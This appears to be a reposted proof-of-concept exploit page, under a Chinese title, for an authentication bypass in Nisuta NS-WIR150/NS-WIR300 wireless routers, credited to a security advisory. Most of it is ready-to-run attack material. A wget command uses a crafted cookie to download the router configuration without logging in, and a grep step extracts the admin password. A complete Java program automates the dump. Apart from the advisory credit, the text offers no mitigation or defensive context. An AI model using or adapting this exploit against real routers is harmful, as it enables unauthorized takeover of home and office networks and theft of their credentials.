Nisuta NS-WIR150/NS-WIR300无线路由器管理Web接口访问绕过漏洞

                                                PoC Exploit:
 
An unauthenticated remote attacker on the WAN and LAN interfaces can perform any action available on the router's remote management web interface, as an example, the following command will bypass authentication and download the router's configuration which includes the current remote management web interface password among other confidential information:
 
$ wget --header="Cookie: :language=en" http://192.168.2.1/cgi-bin/DownloadCfg/config.cfg -t 1
 
The password is in the 'http_passwd' variable:
 
$ grep http_passwd config.cfg
http_passwd=mysecretpassword
$
 
The attacker can now conveniently login into the remote management web interface with full control and perform changes, obtain information, etc. 
 
Again, the password is not needed, the attacker can just set the cookie 'admin:language=en' in his browser to gain access to the management interface or  perform other actions directly, this is just an example.
 
Custom implementation of the PoC exploit:
 
// Nisuta NS-WIR150NE, NS-WIR300N Wireless Routers Remote Management Web Interface Authentication Bypass Vulnerability 
// Amplia Security - Amplia Security Research Advisory (AMPLIA-ARA050913)
// PoC exploit - dumps the router's configuration files which includes the management interface password
// and other information
// compile: javac poc.java
// run: java poc > router.cfg
 
import java.net.URL;
import java.net.URLConnection;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
 
 
public class poc {
 
    public static void main(String[] args)
    {
 
        try { 
            URL url = new URL("http://192.168.2.1/cgi-bin/DownloadCfg/config.cfg");
            URLConnection conn = url.openConnection();
            conn.setRequestProperty("Cookie", ":language=en");
 
            BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
            String line;
            while ((line = rd.readLine()) != null) {
                   System.out.println(line);
            }
         
        } catch(Exception e) {
 
            e.printStackTrace();
        }
     
         
    }
};